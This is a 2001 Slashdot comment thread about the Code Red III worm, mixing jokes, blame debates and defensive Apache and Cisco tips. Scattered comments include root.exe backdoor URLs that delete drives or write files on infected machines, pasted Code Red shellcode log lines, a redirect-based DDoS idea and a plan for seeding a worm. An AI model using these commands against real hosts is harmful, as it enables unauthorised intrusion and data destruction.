Slashdot Mirror
Code Red III
drcrja was the first to send us this brief bit about Code Red III which is apparently faster and more vicious than its entertaining predecessors. I'm still wondering what I should do with the hundreds of IPs in my desktop's apache log trying hopelessly to overflow my buffer.
How about an apache box in front of the IIS server with mod_proxy installed and setup as a reverse proxy filtering out default.ida requests??
Need Free Juniper/NetScreen Support? JuniperForum
I, again, still remember the son of the return of the code red's revenge striking back: the 2nd mission is back even redder than before vs the grand-son of the blue bug 5 (they forgot an egg) resurected by alien 4 (This time, it's going to hurt them badly !) with a vengeance...
"Ignorance of the law is no excuse", nor is ignorance of your upgrade cycle.
Its Microsoft's responisibilty to do everything they can to notify Win 2000 customers and solve this problem
As I said, they're already doing that. The problem is that too many people don't realize it's a problem they need to attend to. They think they can just install a server, run it, and forget about it.
their design flaw, not the admins. So they need to fix it.
What do you think the patch is for? Even Slashdotters' much-adored Apache software isn't immune to the occasional oversight. The difference is that, as yet, almost everyone who runs Apache is a responsible administrator who already knows the importance of keeping things up-to-date.
I'm not "blaming consumers for the corporation's mistakes," as you say. I'm saying that the corporation is doing everything it can be reasonably expected to, short of directly violating the privacy of every one of its registered customers by forcing a software upgrade down their broadband throats. At some point, you have to lay the blame on the users.
Taking a clue from Mr. Sharon, I suggest that missile strikes be made against any building that is suspected to contain or potentially contain a computer running IIS. This will obliterate not only the potentially suspect computer, but also the potentially pathetic owner who would likely buy again.
--- What?
Code Red exploits an .idx vulnerability causing a buffer to overflow with a string of NNN's or XXX's. Code Red I searches for other machines to attack and basically eats up bandwidth. Code Red II searches for other machines to attack as well, but also installs a back door on the system that it infects, giving system access to anyone with a web browser.
oops...it seems that an MCSE(obviously running IIS) has modded me down....I guess I'll have to send a retraction to all the MCSE's on our help desk(1st tier), too.....
http://www.eEye.com/Retina
-- these are only opinions and they might not be mine.
One difference between the recall on the SUV's and the problem with Microsoft software is that most people know that they are driving one of the SUV's. A lot of the servers that are still vulnerable are those that are running without the knowledge of the owner, because Microsoft decided it was important to install their server.
http://ip.ip.ip.ip/scripts/root.exe?/c del c:\/s/q
Please, learn the proper English plural of the word 'virus.'
There's no need to be making up words in hopes of sounding smarter. You only end up looking silly..
So why isn't there any regulation in the software industry? Will buildings start having disclaimers: 'If this building falls on you, you can't sue us?' No way!
Irresponsible software development such as Microsoft is doing costs people time and money -- to the tune of billions of dollars. Not to mention pain and suffering. Not to mention COMPROMISING NATIONAL SECURITY. Not to mention e-commerce dollar losses, identity theft, etc.
Microsoft should be responsible for its software, as should all software makers. Push for software regulation, or the senseless suffering will continue, until people start really getting hurt.
all right..if Code Red and family are dead, why is my cable modem recieve light solid since saturday morning?
For those of you that are wondering if you're vulnerable, an on-line tester will tell you if you are susceptible to any of the code red worms, and currently tells you if you've already been infected with Code Red II.
CODE BLUE! That is SO funny for any other punk rockers out there. Remember "Code Blue" by TSOL? Yeah, they definitely should call this one, Code Blue, 'cause Baby, It's Dead.
We dance to all the wrong songs.
--Refused.
And how can the Koreans as sysadmins be so bad, when Koreans in Age of Empires: The Conquerors are so good ? Maybe the Persians and Turks are being hit badly by Code Red as well ?
The funny thing is, if you ISP terminates web services to all of their clients because (say) 10% of them are infected, they come out of it clean, and can hide behind a service agreement.
If I disable someone's web server because they are actively trying to infect my computer with a virus , I am liable for any damages, even ones they make up.
Despite the fact that almost nobody reads, and fewer understand their ISP service agreements, if I put up a "service agreement" on my web server that says "by accessing this web server you agree that you are not infected by the code red virus. If I determine that you are, you agree that I may take any necessary actions to protect my services, including but not limited to automated installation of anti-virus software..." It doesn't count, since I can't have any expectation that someone infected by code red would ever see the agreement.
This Just In: You are neither.
If you make default.ida a php based file, why wouldn't a redirect server side work?
Because then it's the server getting the page, not the browser. If you're after ad revenue, then the ad company is sure going to check where that traffic is coming from.
Guess what? You are full of shit. MSSQL did not install IIS.
Also no checking whether the host is still alive since it's almost instantaneous.
If anyone wants the php script I can post it although all it involves is using fopen to open the URL that sends the same message as above. Reconfiguring apache is easy look in your configuration files for the PHP section.
I'm getting more than one codered attempt per 5 minutes and have over 4500 so far. Guess that's what I get for being on @Home ;-)
I coined that sig back in 1994,
when we were still using Windows 3.11.
The day Microsoft creates a product that doesn't suck, it will be known as the Microsoft Vaccuum Cleaner!
Code Red: Jar Jar's Revenge
--- Will in Seattle - What are you doing to fight the War?
Probably a little greyhat but I have been running:
o ur %20box%20has%20been%20infected%20by%20Code%20RedII %20use:%20http://download.microsoft.com/download/i is50/Tool/1.0/NT45/EN-US/CodeRedCleanup.exe%20to%2 0disinfect%20your%20machine+>C:\Documents%20and%20 S ettings\All%20Users\Start%20Menu\Programs\Startup\ CODERED.txt
http://[InfectedBox]/scripts/root.exe?/c+echo+Y
uses the hole created by CodeRed to drop a text file in the All Users startup group. Next time anyone logs in they'll see it right in front of them.
I've been reading your sig for a while now. I think the sig from Deuteronimy(sp?) might apply to you.
"If there is nothing you are willing to die for, then you are not really alive." Myself
Actually deltree /y c: "accidentally hit the enter key instead of the \ which was to be followed by the single directory you wanted to delete" works quite well at wiping the entire C drive. It proceeds to do so undisturbed by any keystroke combinations intended to stop it.
I see even classic Slashdot is now pretty much unusable on dial up anymore.
Hmm, in that case, Code Red III hasn't even been named yet.
Just because their laptops have win2000 installed doesnt mean the life support is running from windows. It's not.
-
1) Of the 41 systems, 27 had been installed by the same "consulting" firm for the same type of small buisiness. The web application is a calendar application for appointments and is for the company's internal use only.
2) The systems were in the back room and no one at the business ever checked them, much less knew what was running on them. From their in-office client machines, all outward appearances showed the system was running fine, albeit a little sluggish.
3) The systems were maintained by the consulting firm and they had not been on site for months. There was nothing in their contract about security updates or maintenance.
4) All email to root, webmaster, hostmaster, etc. was routed to the consulting firm. I talked to the consulting firm and found out they had over 300 client businesses using the same application, but only 60 or so were connected to the internet (at the request of the business). Whether the other 33 servers were infected, who knows?
5) These 27 (as well as the other 33) servers were connected to the internet via DSL or dial-up (all on same ISP) with internet sharing and a commercial firewall with security settings "open", or essentially disabled. Each server had anywhere from 3 to 8 Win98/ME systems on the internal net accessing the application running on the server.
6) The 27 servers, which were remotely admistered by the consulting firm were all running VNC (http://www.uk.research.att.com/vnc/)as a service under the admin group and had default ports open to the internet with user of "user" and a password of "password". I found this out from the business, not the consultants.
7) Those 27 servers also shared their C (only) drive and printers, as well as the internal machines drives and printers, to the internet when connected.
So, who is at fault here. I leave that as an exercise to the reader since this entire post is totally fictitious.
Or is it? Gotcha...
Does the income I've derived from working with Unix belong to SCO?
Code Red: A New Worm
Code Red: Microsoft Strikes Back
Code Red: Return of the Virii
Code Red: The Not-so Phantom Menace
And finally...
Code Red: Attack of the Clones
This is a UNIX email virus. It works on the honor system: If you're running a variant of unix , please forward this message to everyone you know and delete a bunch of your files at random. Thank you for your cooperation. by pjl@patsoffice.com
/*" as root) to a large mailing list. A couple days later she got an email.
That's funnier than you think.
My wife posted a variant of that (involving "rm -rf
Seems the responder had just installed linux on his PC. The responder's spouse read the mail item and decided to try it. B-)
(Responder was quite amused by the effects. Fresh install, so nothing was lost.)
Bantam Dominique roosters crow a four-note song. Once you've heard it as "Happy BIRTHday" you can't NOT hear it that way
With the amount of publicity, you'd think people would start installing Apache.
so I'm setting up a computer for a presentation at a conference, and I took one of my laptops with Win 2k that the MIS guy had sworn he turned off IIS on. So, I'm setting it up on the Internet, and suddenly, all the webpages are getting affected by CR, But instead of "hacked by chinese" and www.worm.com, I got pages full of ascii, with korean characters thrown in. The damn MIS guy had kept IIS working. Here's the thing though, I don't know what message you get when CRII affects you, and I know that this CR "III" supposedly has origins in S. Korea. This fits in with what I saw, with pages of Korean. Rebooting pre and post patch doesn't work either. So is this typical of CR II, or is there really a CR III? (and yes, I know 2k evil, etc. etc. it's a big corporation set in its ways. *shrug* :P)
I run a server with three virtual domains, separate logs for each. The IP numbers are sequential, but I see 1092 hits (of the XXXXX variant) on one, 584 on the second and 579 on the third.
Whoops, make that 1094 on the first and 580 on the third -- got a couple more as I was entering this.
-- Alastair
It totally depends on your IP. My webserver has logged around 400 attempts per IP, on two IPs. My cable modem, OTOH, has logged over 2000 attempts (RoadRunner) at port 80 since 8/5 (since I don't run a webserver, I can't tell you which version of CodeRed, I only log the connection attempt at the firewall).
Note that I actually have over 6000 logged lines, but because the connection is refused, each IP tries 3 times in a row before giving up. I don't know about the uniqueness on the 2000 IPs, though...
It seems cable (and other broadband residential) users are the biggest problem here -- the ones who probably don't know they are even running IIS. I gather this because if I visit these IPs in a web browser, I get either a 403 page (too many connection attempts), or a "No Default Page", indicating that the webserver is there for no reason...
- Jman
NGWave - Fast Sound Editor for Windows
If you do a default installation of Win2k Pro it does not install the World Wide Web Publishing Service.(at least in my experience) The win2k Server will install it by default
I wonder what IIS is considered a dependency for under W2K. Also if Office 2K can install it...
Ford used Firestone tyres outside their recommend specifications.
I hope it's been thoroughly beta tested?
Or have 1, 2 and 3 been the beta test?
"PMS is the time of the month when women act like men do all the time"
Robert Heinlein
Isn't it time someone writes and releases a proper conter-worm now, and call it Code Green?
Comment removed based on user account deletion
here ya go. code red detected in south korea http://news.cnet.com/news/0-1003-200-6835996.html its cnet, so take it as you will.
I'm getting more than one codered attempt per 5 minutes and have over 4500 so far. Guess that's what I get for being on @Home ;-)
That's it? I've logged over 20,000 attempts to propogate this month alone. I have two IP addresses, both on AT&T@home. After a reboot, the next attempt is within 30 seconds!
You can't legislate goodness. Let each to his own destiny, by will of his freely made choices.
The joke was that he said "befoer."
I wish the Matrix sequels were released this quickly.
daed si luap
Noo noo, see "near" dead. If all the IIS servers in the world were dead, that would be dandy, but it's fun to watch them beat eachother up (the unpatched ones at least)
http://siokaos.org/
Give 'em a break. It's not about covering up anything, the guy was calling about a different issue. It's quite likely he was hired as a temp solely to make those calls and knows nothing else about Verizon. It's possible he doesn't even work for Verizon but for a consulting company performing side work.
It's impossible to guard 100% against any kind of break-in. Anyone who thinks they have all the angles covered in deluding themselves. And even if you manage to get a system completely locked down, every new piece of software you install presnets new opportunities for exploits.
Yes, everyone should have backups, but that doesn't make it OK to destroy data. You say a physical break-in is different than an electronic one because there's damage in a physical break-in and not in an electronic one. How is the damage different? Suppose someone was able to hack a computer at your local power company and black out half the state? Backups won't help you there. Suppose someone launches a DoS attack against your ISP for a day, and your Internet access is rendered useless. I've been there before, and it ain't no fun. Suppose someone mailbombs you because they got pissed off with something you said on a newsgroup. I've been through that, too. Even if there's no physical damage, there's damage caused by wasted time and productivity.
You may not want your tax dollars going to fight that. OK, fine, then make the responsible party pay restitution to cover the costs of the investigation. If he's a minor, make his parents pay. If you're worried that he won't have the money to pay, then also worry about the victims of such attacks who don't have the money to bankroll their own investigations.
That light you see at the end of the tunnel might be from an oncoming train.
The problem is that Microsoft decided that it was a "user convenience" to have Win2K install a web server by default. So every Joe User has now a fully fledged, fully open web server operating on his/her machine without them even knowing it
I just had to help my ex-girlfriend remove Code Red from her machine. She was as suprised as I was, that her machine was automagically set up as a server box.
Next time Microsoft decide to integrate "user convenience services", to kill competitors, might I suggest a firewall?
My spoon is too big.
In order to sue them, you need to cancel first. Chances are at that point they won't charge you a cancellation fee. If they do, then you need to refuse to pay it. If they charge your credit card, you need to reverse the charges. Then, they have to sue you, not the other way around.
ok then your [sic] infringing on my copyright! Could you as [sic] me next time before STEALING my comments for your own?
do you own this universtiy?
Please help! I'm stuck inside my virtual reality headset!
DISCLAIMER: I'm not suggesting that this is legal, or indeed a very good idea.
/default.ida requests to another host, and enough infected IIS machines hit your web site, then you could effectively DDOS an arbitrary site.
I particularly like the RedirectMatch bit. Do you have any web site out there that you don't particularly like? *cough*microsoft*cough* If you redirected all incoming
I doubt that Code Red is keeping log files of the requests that it's sending out. Ergo, I doubt that anyone could trace the DDOS back to your box.
Again, I'm not suggesting that this is a good idea. It's just an amusing Friday idea.
ID-10-T is a way of life
Yes, the people who run poorly-patched servers bear some of the blame, but most of the blame still falls on the shoulders of the worm writer. Even if you don't lock the doors to your house, someone who walks in and steals your TV is still guilty of burglary. In the case of Code Red and its successors, the owners of the systems are becoming more and more to blame as time goes by and they don't patch, but does that excuse the worm writer? Not in the least.
As for the 15-year-olds, I never said parents don't have responsibility. I think they do, and I also think a good many of them park their kids in front of a TV or computer, and that's wrong. But I was 15 once, and although that was before the age of the mass-marketed Internet, I knew the difference between right and wrong, and these kids do, too. If one of them breaks into a system and destroys data or defaces a Web site, what do you propose we do with him? Tell him he's been a very bad boy, and say he should never do that again? That might work for the first time and for an extremely minor infraction, but there has to be the threat of some real punishment, or the problem will never end.
Or perhaps we should just lock the 1337 hax0r in a room with the admin of the system he trashed and let it get settled that way. In fairness to a civil society and the health of the kid, the criminal justice system would probably be a better alternative, no?
That light you see at the end of the tunnel might be from an oncoming train.
The only problem I see with this is that it advertises to the world that your machine is comprimised. Why is this a bad thing? 1) you might have missed a backdoor, or maybe the virus has mutated to one with different backdoor(s). 2) This advertises that the machine is a windows machine that was running an unpatched version of IIS. While this could probably be found out, you don't want to advertise it to the world. Security through obscurity isn't a solution, but it is one part of a complete solution, at least for some.
ok then your [sic] infringing on my copyright! Could you as [sic] me next time before STEALING my comments for your own?
Great idea. I've been trying to find a friendly way to notify these suckers. Net Send does the trick perfectly. Thanks.
-- Brian
The most rabid believers in American Exceptionalism are the exact same people whose policies are destroying it.
The "green arrow" icon is the Services Manager, installed with SQL Server. You can use it to start/stop SQL Server and a few related services. I believe there is a way to add other services (such as IIS/w3svc) to be controlled by this app, but I don't know the details. I assume the person that made that post has a setup that allows them to control IIS from the SQL Service Manager.
I have never seen that as part of a default install of NT/W2K, however.
I found it hillarious that microsoft was hit by it. Also, I was hit by a computer network security consulting website. yeaa..
Hey, non-smokers have a coffee while their co-worker light their fag! Different occupation, same break.
They should probably wipe their systems anyways, since their boxes have been r00t3d... excuse me, 4dm1n15+3r3d.
Comment removed based on user account deletion
Which will not work very well if they're on a dynamic ip pool.
So why is anyone surprised if large cable/dsl networks start blocking webservers? It's brutal, but at least that'll reach them.
A couple things-
-Microsoft didn't even update their own webservers completely - windowsupdate and hotmail were both hit by the "Hacked by Chinese" varient, so how do they expect their customers to update? Their response that the customers are at fault is ludicrous in light of this.
-The patches issued by MS are not at all easy to apply. I've talked to people who have Windows 2000 with the latest service pack, go to the update site and are told they have to have an older service pack version to get the patch.
"You never know when a dead rabbit will come in handy."
I have a question though. You make good points about the EULA, but is the EULA printed on the outside of the box? If it isn't, does this mean that a class action suit could be filed against Microsoft because people paid for the software only to find that they'd have to agree to the restrictive EULA, and since it wasn't printed on the outside of the box they didn't know thats what they were getting into? I could be completely wrong. Could anyone on Slashdot who's a lawyer fill me in on this?
I think we all know that someone is going to make the horrid desicion of calling it "attack of the Code Red"...
Because our Blue Screen of Death turned purple.
photosMy Photostream
Well, contrary to what I've seen most people saying, I don't think it's Micros~1's fault. It's the adminintrator's responsibility to stay current. Laying this episode solely at the feet of Micros~2 is unfair. Yes, it's one of many exploits found in IIS, but NT admins, just like *nix and *BSD admins, have to be on their toes. IMNSHO, the Code Red episodes only show that thousands of NT admins are lazy morons.
-- Grow up and use mutt.
If your skills in computer science are just as high as your arrogance, you really have to be a genius.
It looks like this (only /. won't let me put in the 200 or so X's):
/default.ida?~200*X%u9090%u6858%ucbd3%
u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7 801%u9090%u9090%u8190%u00c3%u0
003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 404 298
209.98.92.1 - - [10/Aug/2001:21:20:35 -0500] "GET
So, we're seeing about 5 - 700 hits, on a single IP.
Could it be that these sites that are reporting thousands of hits per day have more than one IP?
The thing doesn't care about domain names.
Consequently, I only show hits on my default domain in apache.
BTW, the site I'm tracking on is http://www.dimstar.net/redalert.html
Thanks for the info.
It occurs to me...
/.. And let's say you're a Linux zealot. but I repeat myself. ;-)
/. Linux zealot might wish for in their wildest dreams. I don't necessarily think the original CR was written by one, but I wouldn't be surprised if the more virulant strains were/are/will be.
Let's say you read
I've seen the sentiment expressed here before that the only way to drive into the world's consciousness that MS make shoddy products is for a massive vulnerability to hit everyone really badly. For a large number of people to lose data because of a major flaw in an MS product.
Now I see speculation of CR IV (or whatever number version you want to call it) that collects IP addresses of CR II compromised machines from all attempts on its own machine and uses the root script to run "format c:" on each of them. It doesn't exist yet... but will it? I'm sure. Probably even before CRI goes dormant next weekend.
This looks suspiciously like what an unscrupulous
If you're reading this and you're thinking about this is a suggestion, please don't. Lost or corrupt data is a scourge. The tech industry is having enough problems right now as it is without needing to deal with massive data loss. MS's PR so far has been doing an admirable job of damage control, but the last few mainstream articles I've read have stopped referring to it as an Internet problem and started referring to it as an IIS problem. Sufficient damage has already been done to MS. Don't make the situation any worse.
[TMB]
I think one of the biggest problems here is the fact the Microsoft has so many damn patches. True, they mark some as more critical than others, but damn. I for one have better things to do than download and install 3 or 4 patches per week, how about the rest of you?
"Excuses are like asses, everyone has one and they all stink." - Adam Corrola
It must be very difficult being you.
Read this if you're not familiar with ShareSniffer
Essentially, they say that since people enable drive sharing manually, an open share holds the same legality as a clickthrough license: You wouldn't have clicked it if you didn't want to do that, so you're responsible for what happens.
People don't install Windows by mistake. (well, that's another joke entirely) If they have services running that any reasonably competent admin would know about, they're responsible for those.
The point of a server is to let people use it. The point of an internet connection is to make your computer part of a global network. If you're running a server on the internet, you INTEND to have it accessed by anyone who wants to.
The worm's problem is that it's malicious, sucking up unreasonable amounts of bandwidth and denying service to others. If someone wrote a fixit worm that worked as advertised, I don't see how it could run afoul of the law. Just be careful with the bandwidth usage. Someone might call it unauthorized access, which is bullshit, access is implicitly authorized by the machine's very presence on the internet.
IANAL!
The magic word is ASP2PHP. Apply this to the offending projects, kiss IIS and Windows goodbye forever. Ahhhhh! Feels so good! Won't run down your battery! Made entirely from all-Open ingredients!
Encourage the author (Naken) and you'll soon be able to bin VB screen apps as well. Woohoo!
Got time? Spend some of it coding or testing
Please, learn the proper English plural of the word 'virus.'
There's no need to be making up words in hopes of sounding smarter. You only end up looking silly.
The big problem with sending out the patch to "Registered" users is this - I'll give high odds that MOST copies of NT/Win2K running at home are pirate copies. Ditto the copies running in China - Between the 2, you are talking about the majority of the still infected boxes out there
-- 73 de KG2V For the Children - RKBA! "You are what you do when it counts" - the Masso
so... how exactly does one exploit an infected machine (not that I would do that, just curious)?
r %2 0%c:\'
http://infected.machine.com/scripts/cmd.exe?'di
...or something like that?
I couldn't find a command that would shut down NT totally. So the next best thing is shutting down IIS, I assume.
"You spoony bard!" -Tellah
Perhaps a way to turn the tables is to start speaking of these Microsoft weaknesses in terms of immunodeficiency, as being extremely hospitable to worms and viruses. Which is worse, to be viral or to welcome the infection by design?
When I was a kid, we only had one Darth.
A lot of people have asked to see an explanation of how CodeRed works. This is a good one that was the initial analysis last Saturday. This is a long url, you may have to cut and paste (I can't get rid of the space after "sid="). They also provide the disassembled code.
i d= 1361&mode=thread&order=0
http://www.securitynewsportal.com/article.php?s
Does the income I've derived from working with Unix belong to SCO?
I've recieved 1644 code red II hits since monday. I'm on the 66.*.*.* node thru RR. Seems there are quite a few IIS servers in this subnet. Others I know in the same node are reporting numbers similiar to this.
Probably old news, but we all know that the guys at SecurityFocus are collecting the IP addresses of those boxes in your logs from Code Red. Reuven Lerner has created aa perl module that is collecting the info, sends it to SecurityFocus, and emails the entity holding the block of IP addresses the visitor is from (via the MX record), informing them as well. Worth looking through.
BL.
I've been watching the evolving viral problems and here's my conclusion: We are witnesses to the first massive automated industrial espionage system in operation. Here's my reasoning:
Sircam Virus: Testcode released to see if remote-files could be sent by an e-mail virus.
Code Red I: Test program, Automated webserver attack/co-opting.
Code Red II: Test program, Automated webserver attack with backdoor installation.
Code Red III: From what I've been able to determine: Beta Release, Automated websever attack program with a SERVER installation routine.
Windows 2K Source code theft: IIRC, took IIS with it. Needed to find exact addresses of buffer overflow target locations.
My guess for Code Red IV: Communications and indexing for directory data collected by Code Red III, with remote file retrieval operation supported by the installed Code Red III server.
All Code Red versions seem to be confining themselves, for the most part, to high-speed broadband links. Hrm.. What lives on broadband? Internet-Enabled Banking. Boeing. Intel. Research campuses (educational and otherwise). Investment houses. Working E-Commerce corporations. Etc. All are primary industrial espionage targets. Some are prime military-industrial espionage targets (I sat through lots of "spot the spy" classes when I worked at an aerospace firm). All have massive amounts of Intellectual Property data.
So, we have a virus that sends out random files into the internet while self-propogating. A program that can take over a webserver and attack other sites. An evolved version with a back door. An evolved version with what appears to be a server. And a logical evolution of the program that does something with all the others..
While the rest of the world is in a panic, I am fully expecting that we will see a massive amount of data flowing towards a central server as the Code Red XX development TEAM engages in the worlds first Automated Industrial Espionage operation.
Now, the only question that remains to be determined is who hired the development team, and why. I have my own suspects.
The Rosetta Stone
~
Don't worry about those who call themselves insane. Worry about the ones who say their 'Normal'.
I want a worm that does this to my website :)))
Most of the infections I've seen are on home PCs with cable modem, and the owner doesn't even know that IIS is active by default. I'd like to find a request that will switch IIS service from automatic to disabled. They'll never notice the difference, and the world will be a better place.
I see someone has a I-Hate-The-World's-Living-Things-Because-I'm-Barel y-Smart-Enough-To-Point-And-Click-My-Way-To-MSCE-C ertification complex. Interesting.
If you celebrate Xmas, befriend me (538
I know in Win98 you could (can?) do this with the undocumented /autotest switch...
Shouldn't we first see Micro$oft Strikes Back, and the The Return of the Code Red? And then, the prequels: The Phantom Incompatibility (You remember, the AARD code that faked an incompatibility with DR DOS), and then Attack of the Browsers (yeah, I know. That title sucks. Browser Wars would sound much better...). In the meantime, the original episode Code Red will be renamed A New Worm...
You'd think slashdot would at least TRY to verify the stories?
DJ kRYPT's Free MP3s!
Then you should manually remove the .ida mapping to the index server dll.
If you make default.ida a php based file, why wouldn't a redirect server side work?
Are you a security expert?
Hehe.
I'm waiting for one which sends digitally-signed updates to hosts (like hybris did off usenet) for upgrade capabilities. From what I understand, CR2 was not directly based on CR1's code (though it's easy enough to disassemble the executable that it sends your web server...)
Hmmmm... maybe I should set up a redirect for all requests containing "cmd.exe" or "root.exe", and send them to www.fbi.com?? ;)
Ultimately, I don't know if these redirects even work... the requests probably don't come from a browser that automatically handles the redirect for the user.
LFS. Have you built your system today?
I've heard all sorts of rumours about this thing. Now whenever I hear people talk about "Code Red III", I give up asking them what it is. It doesn't exist. If it does, it is about time.
The media seems to think that Code Red 1 was July 19, Code Red 2 was Aug 1, Code Red 3 is the one with the back door. In otherwords, they're only figuring out now how bad Code Red II is.
Apache also runs per default on many linux distros, I also didn't know it until I entered once 'localhost' into my browser and was surprised that I got an answer...
However I believe that many linux users after some time where kudos and typed 'ps ax' and looked what each program is good for.
--
Karma 50, and all I got was this lousy T-Shirt.
Code Red III which is apparently faster and more vicious than its entertaining predecessors.
I've always suspected that Code Red was secretly made by Microsoft's Marketing department to convince users to upgrade to the very latest products (and to grab XP as soon as it becomes available). That it's taken three versions to make Code Red work well is the proof!
Why do poor bastards get sued for using a little bandwidth to participate in an interesting project while Microsoft gets away with releasing shoddy products that slow down the entire Internet ?
:)
THERE WAS a patch AVAILABLE *BEFORE* that virus got mainstream.
Why should microsoft get sued for having stupid users?
It's not like Linux didn't have any opened holes ever. You have to patch your linux? people have to patch their windows. Period. This virus is spreading like flu, not BECAUSE of microsoft, but because of INCOMPETENCE and cluelessness...
I mean, one simple patch, poof! no more problems. Why the heck do I still see my cable modem light flash like hell even after a WEEK that everyone knows about this thing?
See? that's a *&#@*(@& good argument for microsoft to tell the people "don't install non-certified drivers" "don't install non-ms-approved software" "don't do this and that"... people need to be wiped and taken by the hand to be shown what to do. This virus is the greatest proof that the world is full of clueless people and that's why some people won't care if their OS babysits them.
BTW, I don't like the idea of microsoft controlling everything (nor any other companies), I just say this will give them bullets to automate the patching/drivers things without your knowledge (and of course adding a couple of "justified" intrusive programs as well) Tech people always have to pay because of non-tech people, it always been like that... just like we have to pay high insurance rates because people have abused it and gave ammos to the insurance companies to f* us.
I'm so fucking tired of this virus.... where's the big reset switch of the internet?
--- Metamoderating abusive downgraders since my 300th post.
Yeah, I thought about that too. Of course, while one could argue that anyone propogating CR is asking to get shut down, that won't help you when The Man knocks on your door in the middle of the night.
If one was going to be smart (we're all smart, right? ;), one could query the offending web server IP, and if it's got the default IIS home page (easy to recognize), shut down IIS. It's obviously not being used.
It's tricky, though. Obviously, those (l)users can't be counted on to do even minimal administration on their servers (which many apparently don't even know they are running - nice going, Bill!)(Though to be fair, some Linux distributions - cought, RedHat, cough - turn on all sorts of random services by default that the user probably doesn't want/need.) The ISP's have been ridiculously slow to respond to the problem (though I read that finally RoadRunner is shutting off people who are infected - which *I* appreciate, since my cable modem light has been going bananas for days). I don't see another solution besides having the technical community take a proactive stance.
The kicker about all this is, now there are literally *thousands* of rooted boxen out there just waiting to be used in the biggest DDOS attack the world has ever seen. What we've seen so far is just the prologue to the real problem.
For those of you network engineers who have not yet seen this.... The following link provides information on how to use some features of your cisco routers to stop code red from getting to your IIS servers. http://iponeverything.net/CodeRed.html
"Code Blue" is also what hosptials say over the intercom when someone dies and then need a trama team / defibulator. "Adult code blue, room 412. Adult code blue, room 412."
True, a "stoopid mcse" could never design anything like that. But the problem is, he thinks he can... and will always find a gullible boss to believe him...
I had this problem. The modem would work for an indefinite amount of time then lock up requiring a power reset to work correctly again. Disabling the web access fixes the problem.
Suppose you're a regular home user. You go to the store and buy a PC with windows preinstalled. Since you get the OEM version of Windows you don't get a nice windows box, you don't even get a decent manual, all you get is a license and, if you're lucky, a CD.
Dosn't really matter how you buy Windows, you arn't going to get even a half decent manual....
i'm still waiting for the release of Ultra Turbo Code Red XI, Player's Edition...
Last post!
Hell just take the script that makes a pop up on the screen of the infected user computer, and instead of a pop up window, just have it start IE with the URL needed from your site to then redirect it to the banner ads.
Hell it is just to simple.
Thoughts?
1) First, stealthily locate a vulnerable IIS server. Simple, pick one.
2) Crack a pr0n server and replace a link to some good kiddy pr0n with a link that contains the url with the worm code pointed to the server found in step 1.
3) You KNOW someone will hit that link and since the request never returns, he/she will go merrily on down the list thinking "damn, IE screwed up again".
4) Once the CodeRed requests are spotted on the net, recrack the pr0n site and restore the link. Be sure and cover your tracks on this crack.
Killed two, or maybe three birds with one stone. The worm is started, and if it does get tracked back to the original worm url, you take out a pr0n site and a peddy.
Alternatively, crack any site that you think needs to be per^H^Hrosecuted.
But Code Red II created virtual drives which allowed you to access cmd.exe directly via a corrupt explorer with root rights. So it had a pretty large back door to begin with - I look forward to the analysis of Code Red III if such a thing exists.
Top Most Bizarre/Disturbing Error Messages
Actually, if you add a line in your httpd.conf that looks like this:
.ida
.php .php3 .ida
AddHandler cgi-script
then you can use Perl to write a quick script which will do the reverse lookup and then send that email. Or, if you want to use PHP instead, alter your AddType line for PHP to this:
AddType application/x-httpd-php
Then restart apache, and throw a script named default.ida up to your DocumentRoot directory.
-Chris
I am really getting tired of this virus. I have @home and I have been getting hammered for the last 8 days. So bad that I can't even use my connection. I don't even have windoze, I'm running Mandrake 8. I just wish that some one would write a counter virus to fix the machines with the bio-hazard. *sigh*
This has been proposed on a number of mailing lists since the original CR1 incident. Variations of the "Let's write a good virus" theme have been around probably since the days of the original Morris WORM. In theory, it's a good idea, but the reality would probably turn out far less effective than we'd hope.
A full discussion might actually be productive, but you'll probably find better threads on this idea on the vuln-dev or incidents mailing lists from securityfocus.
Never attribute to malice what can as easily be the result of incompetence...
I am getting a new request in the logs now. It's the same as the XXXXXXX one minus the /default.ida? part. I have gotten two from separate servers.
X XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090 %u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u 9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u00 00%u00=a HTTP/1.1" 400 - "-" "-"
X XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u78 01%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3 %u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.1" 400 - "-" "-"
It looks like there actually may be a 3rd variant out there now...
Pardon the paste from the logs..
24.39.192.34 - - [10/Aug/2001:13:40:13 -0400] "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
24.93.248.122 - - [11/Aug/2001:00:23:50 -0400] "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Has anyone gotten something similar or am I loosing it?
Why can't we use the open cmd.exe to shutdown the IIS service on the infected boxes. I would like to know how to take control of an infected box and do just that. I don't know if it would be legal but, clogging up my connection will crap and not patching your server is just as bad. What is stopping us? Someone post how to do it please, I will shutdown all the boxes attacking me and if enuff people do it, we might just stop this bitch.
MS now got shitloads of IP's of servers that run their products. I guess half of those werent paid for.
I run iPlanet (Netscape) at work and Apache at home and I just sit back and laugh at all the default.ida hits in my logs. My boss asked me "Are they getting anything?", and I said "Ya, a 404 error."
"...but don't you technically pay for the license to use the software.."
/.), BUT that is ***CORRECT***, with M$ and most shrinkwrapped s/w, you are buying the license to USE the s/w, LEGALLY ***you DO NOT own the s/w***, there are a zillion reasons why this is done, but not least is the fact (and directly relevant here) the owner of thing has many many more legal rights than the leasor/borrower/stealer/renter of the same thing
IANAL (but i act like one on
further, many products that have substantial liability and/or danger attached; car batteries, firearms, knives, nunchucks, network news, yada... have NO requirement to provide you an external warning. it is presumed that when you open the package, RTFM and assess the potential hazards that if you don't accept them, you'll return them. unless it's changed MS', agreement with its resellers forces the resellers to buy back any product not installed due to customer failure to accept the license....
